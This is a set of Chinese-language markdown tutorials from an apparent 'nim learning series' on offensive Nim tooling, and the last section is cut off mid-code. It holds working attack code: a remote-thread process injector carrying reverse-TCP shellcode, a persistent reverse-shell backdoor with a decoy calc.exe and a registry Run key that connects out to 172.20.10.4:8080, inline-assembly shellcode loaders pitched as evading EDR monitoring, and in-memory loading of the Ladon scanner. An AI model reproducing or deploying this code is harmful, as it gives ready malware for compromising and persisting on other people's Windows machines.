https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/shellcode_bin.nim 的代码进行修改。 81 | 82 | ### 源代码 nimMeter.nim 83 | 84 | ``` nimMeter.nim 85 | #[ 86 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 87 | License: BSD 3-Clause 88 | StudyCat 89 | https://www.cnblogs.com/studycat 90 | ]# 91 | 92 | import winim/lean 93 | import osproc 94 | 95 | proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void = 96 | 97 | # Under the hood, the startProcess function from Nim's osproc module is calling CreateProcess() :D 98 | let tProcess = startProcess("notepad.exe") 99 | tProcess.suspend() # That's handy! 100 | defer: tProcess.close() 101 | 102 | echo "[*] Target Process: ", tProcess.processID 103 | 104 | let pHandle = OpenProcess( 105 | PROCESS_ALL_ACCESS, 106 | false, 107 | cast[DWORD](tProcess.processID) 108 | ) 109 | defer: CloseHandle(pHandle) 110 | 111 | echo "[*] pHandle: ", pHandle 112 | 113 | let rPtr = VirtualAllocEx( 114 | pHandle, 115 | NULL, 116 | cast[SIZE_T](shellcode.len), 117 | MEM_COMMIT, 118 | PAGE_EXECUTE_READ_WRITE 119 | ) 120 | 121 | var bytesWritten: SIZE_T 122 | let wSuccess = WriteProcessMemory( 123 | pHandle, 124 | rPtr, 125 | unsafeAddr shellcode, 126 | cast[SIZE_T](shellcode.len), 127 | addr bytesWritten 128 | ) 129 | 130 | echo "[*] WriteProcessMemory: ", bool(wSuccess) 131 | echo " \\-- bytes written: ", bytesWritten 132 | echo "" 133 | 134 | let tHandle = CreateRemoteThread( 135 | pHandle, 136 | NULL, 137 | 0, 138 | cast[LPTHREAD_START_ROUTINE](rPtr), 139 | NULL, 140 | 0, 141 | NULL 142 | ) 143 | defer: CloseHandle(tHandle) 144 | 145 | echo "[*] tHandle: ", tHandle 146 | echo "[+] Injected" 147 | 148 | when defined(windows): 149 | var shellcode: array[510, byte] = [ 150 | byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 151 | 0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 152 | 0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a, 153 | 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 154 | 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 155 | 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b, 156 | 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b, 157 | 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48, 158 | 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9, 159 | 0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45, 160 | 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b, 161 | 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01, 162 | 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48, 163 | 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9, 164 | 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00, 165 | 0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5, 166 | 0x49,0xbc,0x02,0x00,0x00,0x50,0xac,0x14,0x0a,0x04,0x41,0x54,0x49,0x89,0xe4, 167 | 0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68, 168 | 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a, 169 | 0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89, 170 | 0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5, 171 | 0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba, 172 | 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5, 173 | 0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9, 174 | 0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5, 175 | 0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41, 176 | 0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41, 177 | 0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31, 178 | 0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8, 179 | 0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40, 180 | 0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5, 181 | 0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c, 182 | 0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41, 183 | 0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5] 184 | 185 | # This is essentially the equivalent of 'if __name__ == '__main__' in python 186 | when isMainModule: 187 | injectCreateRemoteThread(shellcode) 188 | ``` 189 | 190 | 截图: 191 | 192 | ![截图1](https://files-cdn.cnblogs.com/files/StudyCat/nimMeter.bmp) 193 | 194 | ![截图2](https://files-cdn.cnblogs.com/files/StudyCat/nimMeter2.bmp) -------------------------------------------------------------------------------- /nim 嵌入C 代码(nim学习系列).md: -------------------------------------------------------------------------------- 1 | # nim 嵌入C 代码(nim学习系列) 2 | 3 | 假设手头上有一份现成的 C 代码,比如 [PersistentCReverseShell](https://github.com/1captainnemo1/PersistentCReverseShell) ,这是一个用 C 语言实现的 windows 反弹 shell 后门,请不要上传到 www.virustotal.com 进行扫描。如何快速利用这段代码呢,好在 nim 提供了 [Emit pragma](https://nim-lang.org/docs/manual.html#implementation-specific-pragmas-emit-pragma) ,让我们可以直接在 nim 中嵌入 C 代码。 4 | 5 | PersistentCReverseShell 的介绍: 6 | 7 | > * 用 C 语言实现 8 | > * 支持任意 windows 发行版 9 | > * 通过注册表实现自启动 10 | > * 反弹 powershell 至远程服务器 11 | > * 在前台打开一个诱饵应用程序(calc.exe)以欺骗用户 12 | > * 作者说可免杀 98% 的杀毒软件(本地测试 Windows defender 和 Avast 通过) 13 | 14 | ### 源代码 reverse.nim 15 | 16 | 编译命令:nim c -d:release --opt:size --passL:-lws2_32 reverse.nim 17 | 18 | 可根据需要修改IP地址和端口号。 19 | 20 | ``` reverse.nim 21 | #[ 22 | Author: StudyCat 23 | Blog: https://www.cnblogs.com/studycat 24 | Github: https://github.com/StudyCat404/myNimExamples 25 | License: BSD 3-Clause 26 | Referer: https://github.com/1captainnemo1/PersistentCReverseShell 27 | ]# 28 | #import os, strutils 29 | 30 | when not defined(c): 31 | {.error: "Must be compiled in c mode"} 32 | 33 | {.emit: """ 34 | // AUTHOR : #Captain_Nemo 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | 41 | #pragma comment(lib, "Ws2_32.lib") 42 | #define DEF_BUFF 2048 43 | 44 | void rsh(char* server, int Port) 45 | { 46 | while(1) 47 | { 48 | 49 | 50 | WSADATA wsaData; 51 | SOCKET Winsock; 52 | struct sockaddr_in address; 53 | char Rec_dat[DEF_BUFF]; 54 | STARTUPINFO process_startup; 55 | PROCESS_INFORMATION p_info; 56 | 57 | WSAStartup(MAKEWORD(2,2), &wsaData); 58 | Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL); 59 | 60 | 61 | address.sin_family = AF_INET; 62 | address.sin_port = htons(Port); 63 | address.sin_addr.s_addr =inet_addr(server); 64 | 65 | WSAConnect(Winsock,(SOCKADDR*)&address, sizeof(address),NULL,NULL,NULL,NULL); 66 | if (WSAGetLastError() == 0) 67 | { 68 | 69 | memset(&process_startup, 0, sizeof(process_startup)); 70 | //char proc[] = "cmd.exe"; 71 | char proc[] = "powershell.exe -WindowStyle Hidden"; 72 | process_startup.cb=sizeof(process_startup); 73 | process_startup.dwFlags=STARTF_USESTDHANDLES; 74 | process_startup.hStdInput = process_startup.hStdOutput = process_startup.hStdError = (HANDLE)Winsock; 75 | CreateProcess(NULL, proc, NULL, NULL, TRUE, 0, NULL, NULL, &process_startup, &p_info); 76 | // WaitForSingleObject(p_info.hProcess, INFINITE); 77 | // CloseHandle(p_info.hProcess); 78 | // CloseHandle(p_info.hThread); 79 | //memset(Rec_dat, 0, sizeof(Rec_dat)); 80 | //int Rec_code = recv(Winsock, Rec_dat, DEF_BUFF, 0); 81 | // if (Rec_code <= 0) 82 | // { 83 | // closesocket(Winsock); 84 | // WSACleanup(); 85 | // continue; 86 | // } // end if 87 | // if (strcmp(Rec_dat, "exit\n") == 0) 88 | //{ 89 | exit(0); 90 | } // end if 91 | exit(0); 92 | } // end while 93 | } // end function rsh 94 | //int PersistentCReverseShell(char *h, int p) 95 | int PersistentCReverseShell() 96 | { 97 | char h[] = "172.20.10.4"; 98 | int p = 8080; 99 | system("start C:\\WINDOWS\\System32\\calc.exe"); // fire decoy 100 | system("cmd /c copy .\\reverse.exe %appdata%"); // copy malware to appdata 101 | system("cmd /c REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /V \"Secure\" /t REG_SZ /F /D \"%appdata%\\reverse.exe"); //add registry persistence 102 | rsh(h, p); // call rsh function 103 | return 0; 104 | } // end main 105 | """.} 106 | #proc PersistentCReverseShell(ip: cstring, port: int): int 107 | proc PersistentCReverseShell(): int 108 | {.importc: "PersistentCReverseShell", nodecl.} 109 | 110 | when isMainModule: 111 | discard PersistentCReverseShell() 112 | #discard PersistentCReverseShell(paramStr(1), parseInt(paramStr(2))) 113 | ``` 114 | 115 | 116 | 117 | ### 本地测试 118 | 119 | kali 使用 netcat 监听 8080端口: 120 | 121 | nc -vv -l -p 8080 122 | 123 | 然后执行编译成功的 reverse.exe 即可。关闭 calc.exe 反弹的shell 也不会中断,因为这是两个不同的进程。 124 | 125 | ![截图1](https://files-cdn.cnblogs.com/files/StudyCat/PersistentCReverseShell01.bmp) -------------------------------------------------------------------------------- /内存加载 ladon.exe(nim学习系列).md: -------------------------------------------------------------------------------- 1 | # 内存加载 ladon.exe(nim学习系列) 2 | 3 | ### 测试环境 4 | 5 | windows 7 x64 + .NET Framework 4.0 6 | 7 | Ladon.exe version 7.0 8 | 9 | ### 内存加载 Ladon.exe 10 | 11 | 首先将 ladon.exe 转换成 bytes array,这里使用 nim 的 [readBytes 函数](https://nim-lang.org/docs/io.html#readBytes%2CFile%2CopenArray%5B%5D%2CNatural%2CNatural) ,代码如下。 12 | 13 | ``` nim 14 | #[ 15 | Author: StudyCat 16 | Blog: https://www.cnblogs.com/studycat 17 | Github: https://github.com/StudyCat404/myNimExamples 18 | License: BSD 3-Clause 19 | Ladon7.0: https://github.com/k8gege/Ladon/releases/download/v7.0/Ladon7.0.rar 20 | ]# 21 | import os 22 | var buf: array[1472512,byte] 23 | var f: File 24 | f = open("ladon.exe") 25 | discard readBytes(f, buf,0,1472512) 26 | f.close() 27 | echo buf 28 | ``` 29 | 30 | 参考 [execute_assembly_bin.nim](https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/execute_assembly_bin.nim) 进行修改即可(也可根据需求做免杀),[nimLadon.nim源代码](https://github.com/StudyCat404/myNimExamples/blob/main/examples/nimLadon.nim) 截图如下。 31 | 32 | ![源码截图](https://files-cdn.cnblogs.com/files/StudyCat/nimLadon2.bmp) 33 | 34 | 运行效果: 35 | 36 | ![截图1](https://files-cdn.cnblogs.com/files/StudyCat/nimLadon1.bmp) 37 | 38 | Ladon7.0.exe 原本是 1.36M,用 nimLadon.nim 编译出来是 1.56M,编译命令: 39 | 40 | nim c -d:release --opt:size nimLadon.nim 41 | 42 | -------------------------------------------------------------------------------- /内联汇编加载 shellcode.md: -------------------------------------------------------------------------------- 1 | # nim 内联汇编加载 shellcode 2 | ## GCC 汇编语法 3 | Linux上的 GNU C 编译器 GCC ,使用 AT&T / UNIX 汇编语法,AT&T 语法和 Intel 语法的差别很大。现在我们看到了 Intel 语法和 AT&T 语法之间的一些主要差别。我仅仅写了它们差别的一部分而已。关于更完整的信息,请参考 GNU 汇编文档。 4 | ### 1.源操作数和目的操作数顺序 5 | AT&T 语法的操作数方向和 Intel 语法的刚好相反。在Intel 语法中,第一操作数为目的操作数,第二操作数为源操作数,然而在 AT&T 语法中,第一操作数为源操作数,第二操作数为目的操作数。也就是说, 6 | ### 2.寄存器命名 7 | 寄存器名称有 "%" 前缀,即如果必须使用 "eax",它应该用作 "%eax"。 8 | ### 3.立即数 9 | AT&T 立即数以 "$" 为前缀。静态 "C" 变量也使用 "$" 前缀。在 Intel 语法中,十六进制常量以 "h" 为后缀,然而 AT&T 不使用这种语法,这里我们给常量添加前缀 "0x"。所以,对于十六进制,我们首先看到一个 "$",然后是 "0x",最后才是常量。 10 | Intel 语法中的 "Op-code dst src" 变为 AT&T 语法中的 "Op-code src dst"。 11 | ### 4.操作数大小 12 | 在 AT&T 语法中,存储器操作数的大小取决于操作码名字的最后一个字符。操作码后缀 ’b’ 、’w’、’l’ 分别指明了字节(8位)、字(16位)、长型(32位)存储器引用。Intel 语法通过给存储器操作数添加 "byte ptr"、 "word ptr" 和 "dword ptr" 前缀来实现这一功能。 13 | 14 | 因此,Intel的 "mov al, byte ptr foo" 在 AT&T 语法中为 "movb foo, %al"。 15 | ### 5.存储器操作数 16 | 在 Intel 语法中,基址寄存器包含在 "[" 和 "]" 中,然而在 AT&T 中,它们变为 "(" 和 ")"。另外,在 Intel 语法中, 间接内存引用为 17 | 18 | "section:[base + index*scale + disp]",在 AT&T中变为 "section:disp(base, index, scale)"。 19 | 20 | 需要牢记的一点是,当一个常量用于 disp 或 scale,不能添加 "$" 前缀。 21 | ### 扩展汇编 22 | 在基本内联汇编中,我们只有指令。然而在扩展汇编中,我们可以同时指定操作数。它允许我们指定输入寄存器、输出寄存器以及修饰寄存器列表。GCC 不强制用户必须指定使用的寄存器。我们可以把头疼的事留给 GCC ,这可能可以更好地适应 GCC 的优化。不管怎么说,基本格式为: 23 | 24 | asm ( 汇编程序模板 25 | : 输出操作数 /* 可选的 */ 26 | : 输入操作数 /* 可选的 */ 27 | : 修饰寄存器列表 /* 可选的 */ 28 | ); 29 | 例如: 30 | ``` 31 | int a=10, b; 32 | asm ("movl %1, %%eax; 33 | movl %%eax, %0;" 34 | :"=r"(b) /* 输出 */ 35 | :"r"(a) /* 输入 */ 36 | :"%eax" /* 修饰寄存器 */ 37 | ); 38 | ``` 39 | ## nim 内联汇编的一个例子 40 | nim c -r --cpu:amd64 poc.nim 41 | ``` 42 | {.passC:"-masm=intel".} 43 | 44 | import winim/lean 45 | 46 | proc GetTEBAsm64(): LPVOID{.asmNoStackFrame.} = 47 | asm """ 48 | push rbx 49 | xor rbx, rbx 50 | xor rax, rax 51 | mov rbx, qword ptr gs:[0x30] 52 | mov rax, rbx 53 | pop rbx 54 | jno theEnd 55 | theEnd: 56 | ret 57 | """ 58 | 59 | var p = GetTEBAsm64() 60 | echo repr(p) 61 | ``` 62 | ## 内联汇编加载shellcode 63 | 可以在C/C++程序中内联汇编执行shellcode。它不需要你调用“VirtualAlloc” WIN API来分配新的RWX内存,众所周知该API受到EDR的严密监控。代码将嵌入到PE文件的“.text”(代码段),而代码段默认情况下是可执行的。 64 | 65 | nim c -r --cpu:amd64 poc.nim 66 | ``` 67 | {.passC:"-masm=intel".} 68 | 69 | proc runsc(): void = 70 | # msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f csharp 71 | asm """ 72 | .byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xaa,0xc5,0xe2,0x5d,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 73 | ret 74 | """ 75 | 76 | runsc() 77 | ``` 78 | 或者 79 | ``` 80 | {.emit: """ 81 | #include 82 | #include 83 | 84 | int myThead() { 85 | printf("spotless"); 86 | asm(".byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xaa,0xc5,0xe2,0x5d,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00\n\t" 87 | "ret\n\t"); 88 | return 0; 89 | } 90 | """.} 91 | 92 | proc myThead(): cint {.importc:"myThead", nodecl.} 93 | 94 | discard myThead() 95 | ``` 96 | ## 写成 shellcode 加载器 97 | 我这里使用的是AT&T / UNIX 汇编语法,所以没有写 {.passC:"-masm=intel".} 这是跟上面的例子不同的地方。 98 | nim c -r --cpu:i386 poc.nim 99 | ``` 100 | import winim 101 | 102 | proc myThread(shellcode: openArray[byte]): void = 103 | var shellcodeAddr = GlobalAlloc(GPTR, cast[SIZE_T](len(shellcode))) 104 | var dwProtection: DWORD = 0 105 | VirtualProtect(cast[LPVOID](shellcodeAddr), cast[SIZE_T](len(shellcode)), PAGE_EXECUTE_READWRITE, &dwProtection) 106 | copyMem(cast[pointer](shellcodeAddr), unsafeAddr shellcode, len(shellcode)) 107 | 108 | #或者这样写 109 | #var dwProtection: DWORD = 0 110 | #VirtualProtect(unsafeAddr shellcode, cast[SIZE_T](len(shellcode)), PAGE_EXECUTE_READWRITE, &dwProtection) 111 | #var shellcodeAddr: pointer = unsafeAddr shellcode 112 | 113 | asm """ 114 | mov %0, %%eax 115 | push %%eax 116 | ret 117 | : 118 | : "r" (`shellcodeAddr`) 119 | """ 120 | 121 | when defined(windows): 122 | # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler 123 | when defined(i386): 124 | # ./msfvenom -p windows/messagebox -f csharp, then modified for Nim arrays 125 | echo "[*] Running in x86 process" 126 | var shellcode: array[272, byte] = [ 127 | byte 0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b, 128 | 0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x46,0x08,0x8b,0x7e,0x20,0x8b, 129 | 0x36,0x38,0x4f,0x18,0x75,0xf3,0x59,0x01,0xd1,0xff,0xe1,0x60,0x8b,0x6c,0x24, 130 | 0x24,0x8b,0x45,0x3c,0x8b,0x54,0x28,0x78,0x01,0xea,0x8b,0x4a,0x18,0x8b,0x5a, 131 | 0x20,0x01,0xeb,0xe3,0x34,0x49,0x8b,0x34,0x8b,0x01,0xee,0x31,0xff,0x31,0xc0, 132 | 0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xcf,0x0d,0x01,0xc7,0xeb,0xf4,0x3b,0x7c, 133 | 0x24,0x28,0x75,0xe1,0x8b,0x5a,0x24,0x01,0xeb,0x66,0x8b,0x0c,0x4b,0x8b,0x5a, 134 | 0x1c,0x01,0xeb,0x8b,0x04,0x8b,0x01,0xe8,0x89,0x44,0x24,0x1c,0x61,0xc3,0xb2, 135 | 0x08,0x29,0xd4,0x89,0xe5,0x89,0xc2,0x68,0x8e,0x4e,0x0e,0xec,0x52,0xe8,0x9f, 136 | 0xff,0xff,0xff,0x89,0x45,0x04,0xbb,0x7e,0xd8,0xe2,0x73,0x87,0x1c,0x24,0x52, 137 | 0xe8,0x8e,0xff,0xff,0xff,0x89,0x45,0x08,0x68,0x6c,0x6c,0x20,0x41,0x68,0x33, 138 | 0x32,0x2e,0x64,0x68,0x75,0x73,0x65,0x72,0x30,0xdb,0x88,0x5c,0x24,0x0a,0x89, 139 | 0xe6,0x56,0xff,0x55,0x04,0x89,0xc2,0x50,0xbb,0xa8,0xa2,0x4d,0xbc,0x87,0x1c, 140 | 0x24,0x52,0xe8,0x5f,0xff,0xff,0xff,0x68,0x6f,0x78,0x58,0x20,0x68,0x61,0x67, 141 | 0x65,0x42,0x68,0x4d,0x65,0x73,0x73,0x31,0xdb,0x88,0x5c,0x24,0x0a,0x89,0xe3, 142 | 0x68,0x58,0x20,0x20,0x20,0x68,0x4d,0x53,0x46,0x21,0x68,0x72,0x6f,0x6d,0x20, 143 | 0x68,0x6f,0x2c,0x20,0x66,0x68,0x48,0x65,0x6c,0x6c,0x31,0xc9,0x88,0x4c,0x24, 144 | 0x10,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff, 145 | 0x55,0x08] 146 | 147 | # This is essentially the equivalent of 'if __name__ == '__main__' in python 148 | when isMainModule: 149 | myThread(shellcode) 150 | ``` 151 | 以上汇编代码也可以这样写 152 | ``` 153 | asm """ 154 | mov %0, %%eax 155 | call %%eax 156 | : 157 | : "r" (`shellcodeAddr`) 158 | """ 159 | ``` 160 | ## 引用 161 | ``` 162 | https://twitter.com/byt3bl33d3r/status/1348824008670597123?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1348824008670597123%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Fajpc500.github.io%2Fnim%2FShellcode-Injection-using-Nim-and-Syscalls%2F 163 | 164 | https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/shellcode_inline_asm_bin.nim 165 | 166 | https://www.linuxprobe.com/gcc-how-to.html 167 | 168 | https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-inline-assembly-in-c-c++ 169 | 170 | https://nim-lang.org/docs/manual.html#statements-and-expressions-assembler-statement 171 | 172 | https://github.com/Mr-Un1k0d3r/Shellcoding/blob/master/simple-encoder.c 173 | ``` -------------------------------------------------------------------------------- /子域名扫描(nim学习系列).md: -------------------------------------------------------------------------------- 1 | # 多线程子域名扫描(nim学习系列) 2 | 3 | 参考: https://github.com/rockcavera/nim-ndns 4 | 5 | 有趣的是,使用作者给出的例子,解析"www.baidu.com"及"nim-lang.org"的A记录居然返回空,很明显是不对的。 6 | 7 | ``` nim 8 | import ndns 9 | #默认使用 8.8.8.8 10 | let client = initDnsClient() 11 | 12 | echo resolveIpv4(client, "nim-lang.org") 13 | ``` 14 | 15 | ## 源代码 subname.nim 16 | 17 | 简单阅读源代码后,稍作修改即可正常解析。 18 | 19 | 使用:subname.exe names.txt cnblogs.com 8.8.8.8 20 | 21 | ``` nim 22 | #[ 23 | Author: StudyCat 24 | Blog: https://www.cnblogs.com/studycat 25 | Github: https://github.com/StudyCat404 26 | License: BSD 3-Clause 27 | ]# 28 | import ndns, os, net, strutils, times, threadpool 29 | var outFile: File 30 | 31 | proc resolveIpv4A(client: DnsClient, domain: string) = 32 | var outp: seq[string] 33 | outp = @[] 34 | let header = initHeader(randId(), rd = true) 35 | let question = initQuestion(domain, QType.A, QClass.IN) 36 | let msg = initMessage(header, @[question]) 37 | try: 38 | var rmsg = dnsQuery(client, msg, timeout = 5000) 39 | 40 | if rmsg.header.flags.rcode == RCode.NoError: 41 | for rr in rmsg.answers: 42 | try: 43 | let ip = IpAddress(family: IpAddressFamily.IPv4, address_v4: RDataA(rr.rdata).address) 44 | outp.add($ip) 45 | except: 46 | discard 47 | #echo getCurrentExceptionMsg() 48 | if outp.len() > 0: 49 | let msg = domain & " => " & join(outp, ",") 50 | echo msg 51 | outFile.writeLine(msg) 52 | #else: 53 | # echo "*** UnKnown can't find {domain}: Non-existent domain" 54 | except: 55 | #Response timeout has been reached 56 | discard 57 | 58 | proc main() = 59 | if paramCount() < 3: 60 | let pathSplit = splitPath(paramStr(0)) 61 | echo "Usage: ", pathSplit.tail, " names.txt", " cnblogs.com", " 8.8.8.8" 62 | quit(-1) 63 | 64 | let time = cpuTime() 65 | let filename = paramStr(1) 66 | let topDomain = paramStr(2) 67 | let dnsServer = paramStr(3) 68 | 69 | if fileExists(paramStr(0)): 70 | let client = initDnsClient(dnsServer) 71 | for 